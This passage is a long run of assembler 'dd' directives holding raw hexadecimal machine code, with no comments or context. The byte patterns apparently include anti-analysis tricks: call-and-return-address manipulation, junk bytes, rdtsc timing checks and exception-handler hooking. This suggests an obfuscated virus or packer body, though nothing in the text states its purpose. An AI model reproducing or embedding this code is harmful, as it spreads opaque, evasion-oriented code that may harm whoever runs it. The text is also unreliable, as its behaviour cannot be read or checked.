		dd 1D042444h, 41000000h, 7701C351h, 4E3299BFh, 0E4724ED6h
		dd 0AF995FFh, 8E906ACh,	6000000h, 8A46DD89h, 8B59EA83h
		dd 0AC2AA1BDh, 808D8D06h, 6006AF8Bh, 0C1BD2953h, 5806AC1Ah
		dd 11619D8Bh, 0B36106ACh, 8BD1FFCAh, 0AC0A1D9Dh, 61BD8306h
		dd 106AC01h, 5E850Fh, 0BD8B0000h, 6AC0849h, 5050026Ah
		dd 5F525352h, 8B310F5Bh, 89585AD9h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FF86E6C3h
		dd 0AC0DA595h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E162EF1Ch, 0D8B70F73h
		dd 0DBFE9h, 0E800h, 815D0000h, 0B0A40EEDh, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0F26A3BC7h, 0B70F60B7h, 0CDBDBFC0h, 0F617DC5h, 6ADABFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 4E57A5C3h, 524FFEA1h, 89914C68h, 0AC2E79B5h,	3B858D06h
		dd 6606AF7Eh, 176FCF81h, 50DE8B90h, 90D88B66h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D1C35242h, 8B9B9EAEh
		dd 0FE9FAh, 9FF70000h, 0D8D60014h, 309E551Dh, 5E189BE2h
		dd 35FF64A6h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 50C35141h
		dd 635D579Ah, 2589641Bh, 0
		dd 6E9h, 0F725B100h, 0FF3B9050h, 0AC337585h, 59BD0906h
		dd 6A06AC11h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 85896871h, 6AC1EA1h, 10890Fh, 0BE90000h
		dd 4A000000h, 0C8B439ECh, 0E2636E35h, 0B5FF611Ch, 6AC118Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4C35343h
		dd 62880C82h, 2DFF0374h, 0BE8A8h, 63040000h, 341D7130h
		dd 0AC9C53Dh, 1D8D896Dh, 5F06AC07h, 206995FFh, 0FFE906ACh
		dd 89000000h, 0AC1099BDh, 8900B006h, 0AC0DA18Dh, 119D8906h
		dd 0E606AC19h, 0FC71E470h, 830F613Ch, 0DEh, 0CE8h, 125BE300h
		dd 681BD834h, 0FC6B2B7Fh, 21B53166h, 5B06AC0Bh,	0E9C8B60Fh
		dd 0Ch,	0F48AF105h, 297F76BAh, 528905CFh, 6BAh,	0C1C18B00h
		dd 7E904E8h, 0DF000000h, 99E87CAEh, 0F7662F25h,	0AE9E2h
		dd 4D480000h, 25AB6B58h, 77591529h, 0C82B3FB3h,	68D0Fh
		dd 9D8B0000h, 6AC0665h,	9E9D18Bh, 66000000h, 0EF81F98Bh
		dd 9AFBE2Eh, 72D858Bh, 816606ACh, 8374DFF7h, 9D0907C0h
		dd 6AC0C9Dh, 8900C083h,	0AC24F1BDh, 0FD03B06h, 0D83h, 5BF85700h
		dd 3DE9h, 8B57BB00h, 8D8B3707h,	6AC24F9h, 0CFEF8166h, 1E18321h
		dd 24840Fh, 840F0000h, 4, 0CC7EBB66h, 24F9A583h, 0B7FE06ACh
		dd 2D958942h, 106AC07h,	0AC28F985h, 0E906h, 0B58D0000h
		dd 6B00B6Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0EDC35040h, 0C0948569h,	0D67A1580h, 0A2BB006Ah
		dd 0FF43284Ch, 0AC214595h, 0A741BB06h, 0FE8B7E30h, 8B4B9h
		dd 4880F00h, 66000000h,	8305B9BFh, 6AFCE1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 1D2A2DC3h
		dd 0F9BD8B7Fh, 6606AC33h, 0FC8C80BFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0CBC35242h,	830F1AE6h, 3, 60DE8B66h
		dd 0F9C38166h, 69BD8922h, 6106AC21h, 5760C02Bh,	5BDBB70Fh
		dd 0BA61h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 7BCBA5C3h, 0EAC245B6h, 66526082h
		dd 0DB5FEB81h, 49BD2B5Ah, 6106AC30h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0BAC35242h, 0B840F6Dh, 0F000000h, 586h,	0DB816600h
		dd 6A1212h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 82C006C3h, 880DC170h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0B28CC353h, 5F363211h, 0EE964h, 0F34E0000h, 4877047Ah
		dd 0CA72ACFh, 482A763Fh, 2F0D958Bh, 0CF8106ACh,	6D585885h
		dd 1E058D8Bh, 0BB6606ACh, 8B50C32Dh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 4FC35646h, 0F6D4CA80h, 68A0Fh, 95290000h
		dd 6AC2901h, 5E9h, 68633C00h, 0BB661DF7h, 0C78134BCh, 4E74C0C5h
		dd 1229BD83h, 0F0006ACh, 6084h,	0DF8B6600h, 0B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0DAB2779Eh, 8860FC8h, 50000000h, 12A59D01h, 8D5F06ACh
		dd 0AC4E338Dh, 6AE1FF06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 1E43C351h, 60245840h
		dd 0F1BD831Dh, 6AC27h, 42C840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 8FF6DCC3h
		dd 5D259773h, 66605B39h, 8F69C381h, 27F1BD83h, 0F0106ACh
		dd 41084h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 61EE85CBh, 10B58D29h, 0BD8306ACh
		dd 6AC27F1h, 0A8860F03h, 6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A6CBC352h
		dd 118D29B3h, 8006AC19h, 6A6056C7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 96E5C350h
		dd 3F333E43h, 0AE95757h, 0D8000000h, 58119882h,	0D2773E1Fh
		dd 9D895FAEh, 6AC1BB1h,	0FD98C66h, 0E180DAB7h, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 698D896Dh, 0A06AC05h, 30840FC9h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 348FC356h, 0FD6126A7h, 450C55DBh, 810Fh, 9E80000h, 77000000h
		dd 600F84D8h, 0CC203E5Eh, 6840Fh, 0BD890000h, 6AC0DDDh
		dd 0B9858B5Bh, 6A06AC32h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0A886C352h,	0E5DD4E9Bh
		dd 33E57DE5h, 0AC19E985h, 68C0F06h, 8B000000h, 0AC1409BDh
		dd 0F88B9006h, 902BB750h, 6AF8B70Fh, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 33F9C858h
		dd 0AC1545BDh, 0EBE76806h, 481EC24h, 0FA181824h, 0BD8B5113h
		dd 6AC0FB9h, 0BD95FF5Bh, 6A06AC09h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E743C350h
		dd 0F59D8B57h, 5B06AC1Bh, 68F0Fh, 0BD890000h, 6AC151Dh
		dd 0B21D8589h, 9D8B06AFh, 6AC05E1h, 1ACE9h, 14E800h, 0C2360000h
		dd 7BF05BDh, 0C794F209h, 0F0C17DBh, 456D7BF8h, 8E0F2377h
		dd 2, 8B5FD88Ah, 0AFB21585h, 15BD8B06h,	0C706AC00h, 1800h
		dd 0EE900h, 2BC10000h, 0ED2ADD05h, 24D6B4AFh, 0B28B8556h
		dd 0B219B58Bh, 858B06AFh, 6AC00A9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 10C35747h, 1970CA54h, 8B663763h
		dd 0B1BD03FEh, 8906AC0Ch, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 95BB2973h
		dd 32B9858Bh, 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0CA0C84C3h, 9E960B8h, 0E2000000h
		dd 0F62DF557h, 0E061939Eh, 0C9D08166h, 4689612Fh, 0CF816604h
		dd 0E850BE4Ah, 8, 621D7F0Ah, 0AB070137h, 5FFE8B66h, 80243489h
		dd 8B52EBD3h, 0AC274D9Dh, 0B5FF5B06h, 6AFB215h,	68FBBF0Fh
		dd 0B8541ABAh, 45240481h, 6A47CAE9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0BBBCC356h
		dd 0BF66FB3Eh, 858D1AFAh, 6AFB21Dh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 2AC35242h, 7A10B225h, 6A789A83h
		dd 50FB8B11h, 0FE860h, 0CC290000h, 0C4A92332h, 3CBBCA21h
		dd 64A5AA9Ch, 5F616077h, 9E85250h, 0EF000000h, 5D45D30Ah
		dd 0AAE50099h, 60310F5Eh, 61585A61h, 0BB240489h, 59F027C9h
		dd 9BD95FFh, 0BD8B06ACh, 6AC1411h, 6A61F5h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0DA91C8C3h
		dd 0C57CE175h, 0C1816660h, 0BD29E4E9h, 6AC07B5h, 11BD8961h
		dd 0C706AC32h, 0AC27F185h, 306h, 1DBD8300h, 6AFB2h
		dd 0D840Fh, 0BD8B0000h,	6AC216Dh, 1DE9h, 50FB8B00h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 8B66C08Bh
		dd 52006AF8h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 83561D4Bh, 0AC27F1BDh, 850F0306h, 42Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0F7C35646h
		dd 50423107h, 0BE398635h, 1265BD09h, 816606ACh,	831409C7h
		dd 0AFB21DBDh, 840F0006h, 3EFh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 44C35141h, 0E58E7A9Dh, 6699BE28h
		dd 8166F88Bh, 0FF022CE3h, 0AFB21DB5h, 2351BF06h, 95FF131Dh
		dd 6AC09C5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0BBC35646h, 0F55763F9h,	6918529h, 9D2B06ACh, 6AC0551h
		dd 0B211B58Bh, 0E9F506AFh, 11h,	5F3AF5D2h, 0DB89DCD8h
		dd 0C7936441h, 679A4050h, 106C794h, 0B7000100h,	4D950134h
		dd 5006AC29h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0CD7DC352h,	0B21DB5FFh
		dd 0BB6606AFh, 95FFF2D4h, 6AC1F55h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 4FC35040h, 0F14443E4h, 206D9589h
		dd 0B58B06ACh, 6AFB211h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0EEC35747h, 0AC2A32FDh, 8BAD6136h, 0AC00E585h
		dd 9DBD3306h, 8906AC14h, 0C486h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 2FC19596h
		dd 68F0Fh, 85890000h, 6AC2549h,	2F0D958Bh, 6A06ACh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0D361E4C3h, 4C2836Ah, 0A6EF8166h, 20508904h,	33219D8Bh
		dd 858D06ACh, 6AFC71Eh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 65C35545h, 0BE9DA013h, 830Fh,	86890000h
		dd 0B8h, 0C19D8B60h, 8006AC00h,	6A618DD2h, 8DEB8100h, 0FF7E1738h
		dd 0AFB21DB5h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0EBE563A7h, 3535BD8Bh
		dd 95FF06ACh, 6AC0DA5h,	0B4CEE781h, 665007BBh, 89A06EBBh
		dd 8B602434h, 8E9C1h, 3B340000h, 750115C1h, 0E861AE66h
		dd 0Ch,	0C3D84C61h, 891A609h, 815F79BEh, 2679BD8Bh, 0FF5B06ACh
		dd 0AFB21DB5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 1CBB6A9Ah, 13F0DC8h, 0B70F8A7Fh
		dd 0D95FFD9h, 6A06AC09h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0CC71C356h,	61BD83F9h
		dd 6AC0Bh, 68840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0D146F2C3h, 1FABD5B1h
		dd 0BE9966Bh, 49000000h, 0F7E0D5E4h, 98F7FD25h,	6050956Ch
		dd 5A52CA8Bh, 6A9661h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0CB9A4CC3h, 663A5846h, 7B6D381h
		dd 25759D31h, 0B5FF06ACh, 6AFB21Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0B0C35646h,	3DAE4EDAh, 0A09BD89h
		dd 0EE806ACh, 40000000h, 0B4E9F88Dh, 5BF51D38h,	2F2A877Ch
		dd 0A98D89FAh, 5F06AC1Eh, 213595FFh, 6A06ACh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0FF9242C3h
		dd 0AFB21DB5h, 0FB8B6606h, 14D995FFh, 6A06ACh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8B08F2C3h, 0AC21D5BDh, 0E9BD8306h, 206AC01h,	38840Fh
		dd 858B0000h, 6AC05A9h,	28C99D8Bh, 0C606ACh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0CEA393C0h, 45023584h, 9799D8Bh, 85C706ACh, 6AC3001h
		dd 0
		dd 92C78166h, 0A9BD8B0Ah, 0E906AC0Ch, 0FFFFF353h, 6AC18BF9h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 91BFC352h, 2741858Dh, 6A06ACh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0F78087C3h
		dd 0E860507Dh, 0Dh, 63B6B160h, 22FBB9EAh, 21545D8Eh, 585E567Ah
		dd 24048961h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	20C35141h, 10E9494Ch, 74000000h, 0E16E639Ah, 0D61DCB07h
		dd 9F3F2B13h, 6ADF3CECh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 6A8D437Bh, 0A5BD8B00h
		dd 8D06AC2Fh, 0B0B3F585h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 830C522Bh
		dd 9D8B05C0h, 6AC08F1h,	0AE95150h, 29000000h, 9B4C6A95h
		dd 0EE580AD2h, 4895BFEh, 29BD8B24h, 6A06AC1Ah, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 91C0AFEh, 0FB8E6C9h,	687h, 2D958900h, 6A06AC13h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0B1A24753h, 0FF98B66h, 95FFFEBFh, 6AC0AF9h, 5681F780h
		dd 8D8D5FF5h, 6AF8B80h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 73C35040h, 2C57A32Ah,	19F19D03h, 0D1FF06ACh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D0C35040h
		dd 0D284BD3Bh, 8D2D028Dh, 6890F03h, 29000000h, 0AC009595h
		dd 61BD8306h, 106AC01h,	7B850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0AA538C3h
		dd 5E9h, 7E2E400h, 26AD2F2h, 7E9h, 8E009C00h, 5864B853h
		dd 50525050h, 0EDBF6652h, 0B3310F8Fh, 0F585ABCh, 0E9525031h
		dd 0Ah,	1AA72804h, 700D0B65h, 310F4082h, 310F5250h, 585A585Ah
		dd 489585Ah, 82BF24h, 0B70F54C0h, 0A595FFDAh, 5706AC0Dh
		dd 9505BF66h, 0CBCE95Fh, 0E80000h, 5D000000h, 0B3FFED81h
		dd 536006B0h, 7DD78166h, 8B0F5BD9h, 2, 89619AB1h, 0AC1ECD95h
		dd 3B858D06h, 6006AF7Eh, 7E9h, 0A4E51200h, 0B5B76F8Eh
		dd 1AC9858Bh, 906106ACh, 310F5250h, 585ADF8Bh, 2850F50h
		dd 0B7000000h, 6A90B9h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0E89FB6C3h, 5, 0CDCDC4D5h, 6E83Ch
		dd 0CE080000h, 8FABE523h, 5B5F6160h, 35FF64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0DC8EC357h, 0A59D89h, 896406ACh, 25h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 9E7A0DC5h, 337585FFh, 9D8B06ACh, 6AC1315h, 0CB81FF6Ah
		dd 68FA0C8Dh, 2FF5B5FFh, 6A06ACh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0BB41DEC3h, 3072F75Bh
		dd 0FFDEB70Fh, 0AC206995h, 0E0E906h, 8B660000h,	0F00B0F8h
		dd 70E6DABFh, 5EF78166h, 3C71E43Ch, 0C7830F61h,	0F000000h
		dd 13E9C8B6h, 30000000h, 0F1EED5F2h, 0EF18B2BDh, 7499A94Eh
		dd 72635F0h, 6BAC276h, 8A000000h, 89C18BDAh, 0AC27DDB5h
		dd 4E8C106h, 0E2F766FCh, 28E1BD89h, 0BD8B06ACh,	6AC206Dh
		dd 880FC82Bh, 6, 0BF5BD89h, 9D8B06ACh, 6AC1E41h, 0B589D18Bh
		dd 6AC2EE1h, 0CE9h, 6800F00h, 9000000h,	0AC154995h, 49858B06h
		dd 6606AC1Ah, 0C083D88Bh, 83D88B07h, 958900C0h,	6AC0529h
		dd 830FD03Bh, 12h, 86F38166h, 3B13BBC5h, 2FE939F1h, 66000000h
		dd 8D8BDF8Bh, 6AC0FB1h,	2A44CB81h, 0E1831D72h, 17840F01h
		dd 83000000h, 0AC0FB1A5h, 8166FE06h, 89C441DBh,	0AC1A4995h
		dd 0E906h, 0B58D0000h, 6B0159Ch, 8E9h, 0C1911100h, 0F7D39C13h
		dd 6A006A9Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 6F99C350h, 799D8B48h, 0FF06AC0Ah
		dd 0AC214595h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0EE9F8h, 8B450000h, 0EF79AEF2h
		dd 9EC10299h, 0F1986244h, 828B9h, 9ACF8000h, 0BBFCE183h
		dd 7CFB3666h, 5FF552FCh, 6AC02Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 9257D9C3h, 2B2D4DE7h
		dd 53006AD2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 44A4EBB5h, 2C2CE980h, 33AD2E01h,	3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 6181E7C3h, 0C07BAD86h, 840F78A1h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CC35646h
		dd 0A4DEC8B7h, 880D89h,	0BF660000h, 958B1597h, 6AC2F0Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 60C35545h
		dd 0B54B3E0Bh, 337646D1h, 1E058D8Bh, 9D0306ACh,	6AC00E9h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	89565818h
		dd 0AC2095BDh, 6A5B06h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 217B2CC3h, 31ED9D8Bh, 9D8906ACh
		dd 6AC2B3Dh, 1229BD83h,	0F0006ACh, 2584h, 259D8900h, 0B806AC13h
		dd 0
		dd 21598589h, 8D8D06ACh, 6AC4E33h, 1501B589h, 0E1FF06ACh
		dd 218DBD8Bh, 0BD8306ACh, 6AC27F1h, 21840F00h, 66000004h
		dd 0BD83FB8Bh, 6AC27F1h, 2C840F01h, 3000004h, 0AC129DBDh
		dd 0F1BD8306h, 306AC27h, 3E3860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0B529BDC3h
		dd 6AC3091h, 60DA8B66h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 84C35646h, 453BF84Fh,	20D75935h, 66DF8B66h
		dd 14E9D98Ch, 0E3000000h, 2FA2CD83h, 0D2808702h, 0DA9290B1h
		dd 0BE38FFA8h, 80F969A9h, 0C38104E1h, 560F78Dh,	0F5BD3160h
		dd 6106AC06h, 840FC90Ah, 13Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 29C35747h, 7D74C436h, 0FB1A453Eh
		dd 0E8FB8B66h, 5, 0A527F096h, 0ED9D8B9Fh, 5B06AC1Bh, 32B9858Bh
		dd 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 526D36C3h, 0F683364Eh, 840FCE64h,	3, 33F8BF0Fh
		dd 0AC19E985h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0C9864532h, 859BB535h
		dd 0E18D893Eh, 8906AC06h, 0AC0075B5h, 850F9006h, 0
		dd 98B0F50h, 0F000000h,	38Fh, 0FE8B6600h, 6AACB790h, 0CE646800h
		dd 606078BFh, 0FDBE5A53h, 615EA014h, 76DF86B8h,	3481612Ch
		dd 0A0CD9B24h, 0F99D8B78h, 0FF06AC1Dh, 0AC09BD95h, 5FDF8006h
		dd 0B21D8589h, 6A06AFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0E6DE3AC3h, 1DDE9h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 381AF093h, 2E225B93h, 0DEB70F60h, 8B61C58Ah,	0AFB21585h
		dd 499D8B06h, 0C706AC29h, 1800h, 54D38100h, 892B83FCh
		dd 0AC1159BDh, 19B58B06h, 6A06AFB2h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 9506C357h
		dd 816651B1h, 8BC392E3h, 0AC00A985h, 68C0F06h, 81000000h
		dd 0F3F54AF3h, 899D8B0Bh, 8906AC19h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 5FCA2D01h
		dd 8589CAA8h, 6AC33F9h,	32B9858Bh, 9E806ACh, 7D000000h
		dd 0DCB1668Eh, 0E8935790h, 2475BD33h, 895F06ACh, 6A0446h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0F46208C3h, 6D63AF52h, 967E99Dh, 0AC14F585h,	0DA8B6606h
		dd 0D6D0BF96h, 605046D2h, 6840Fh, 8B0F0000h, 0
		dd 9661FA8Bh, 1C5D9D8Bh, 0B5FF06ACh, 6AFB215h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0BCC35545h, 0CA84F5h
		dd 0EB8166ECh, 4E885E3h, 0FF000000h, 0BB001F03h, 11052B31h
		dd 24448B50h, 3ABB6004h, 614ADAE8h, 5250008Bh, 310FDD8Ah
		dd 585AFA8Bh, 4244489h,	0F5808B3h, 288h, 8DF4B300h, 0AFB21D85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 541A94C7h, 89D98B50h, 0BD8B2404h, 6AC0F15h
		dd 9BD95FFh, 6A06ACh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 3A459EC3h, 593AF78Fh, 0E1E7CF81h
		dd 0C7612C15h, 0AC27F185h, 306h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0DFB42610h
		dd 0F82A720h, 688h, 95958900h, 0F906AC20h, 0B21DBD83h
		dd 0F0006AFh, 2C84h, 95BD8900h,	0E906AC34h, 3Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 19C35242h, 0F14D03A2h
		dd 0C305042h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0C8F0Fh,	820F0000h, 6, 6740D781h, 6A3FF6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 32649AC3h, 595892Bh,	0E806AC14h, 11h, 0B41BB482h, 79635B32h
		dd 2FB6D54Ah, 303E6E56h, 0D9BB66C2h, 0BD835FE5h, 6AC27F1h
		dd 0D0850F03h, 60000003h, 707DBE66h, 617DD880h,	0B21DBD83h
		dd 0F0006AFh, 3BA84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 7DB51F75h, 0BB7ED3B5h
		dd 9D2B57C0h, 6AC3085h,	0F1BD8B5Bh, 6606AC32h, 0B5FFF98Bh
		dd 6AFB21Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0ACC35545h, 8310D1F7h, 917B3C28h, 0CCCF818Bh, 0FF1C4321h
		dd 0AC09C595h, 698D0106h, 8B06AC11h, 0AFB211B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0BA893D10h, 6D6A3C29h, 0EE9B53Eh, 0CD000000h, 0D4A7C270h
		dd 0BCEDF91Dh, 5FA95B9h, 1DBD8936h, 0C706AC09h,	1000106h
		dd 31858900h, 9606AC05h, 0F43C50BBh, 2B965001h,	0AC2E01BDh
		dd 1DB5FF06h, 0F06AFB2h, 685h, 3D958900h, 106AC20h, 0AC2FF995h
		dd 5595FF06h, 8B06AC1Fh, 11B58BDAh, 6A06AFB2h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 8EAC350h, 6884A3D1h,	0B33DBF1Eh, 858B3A05h, 6AC00E5h
		dd 5FC38166h, 0C486891Dh, 81000000h, 581093EFh,	699D8B7Bh
		dd 8B06AC24h, 0AC2F0D95h, 0C283F906h, 55006A04h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 85016646h, 6AC1AD1h,	6A205089h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BF2FC351h
		dd 32A40981h, 858D856Bh, 6AFC71Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 5EC35343h, 0B73A89BDh, 0B8868924h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0BE2CC351h, 8B3BD6B5h,	0F158D89h
		dd 6A06ACh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 14h,	0EDC35545h, 7958D89h, 0DF8B06ACh, 0B21DB5FFh, 6A06AFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0FB707CC3h, 0E1362C6Bh, 0FF42F380h, 0AC0DA595h, 599D8906h
		dd 9606AC25h, 28B0Fh, 0FA8B0000h, 830F5050h, 2,	965BF88Bh
		dd 0A799D8Bh, 0B5FF06ACh, 6AFB21Dh, 62DBD31h, 95FF06ACh
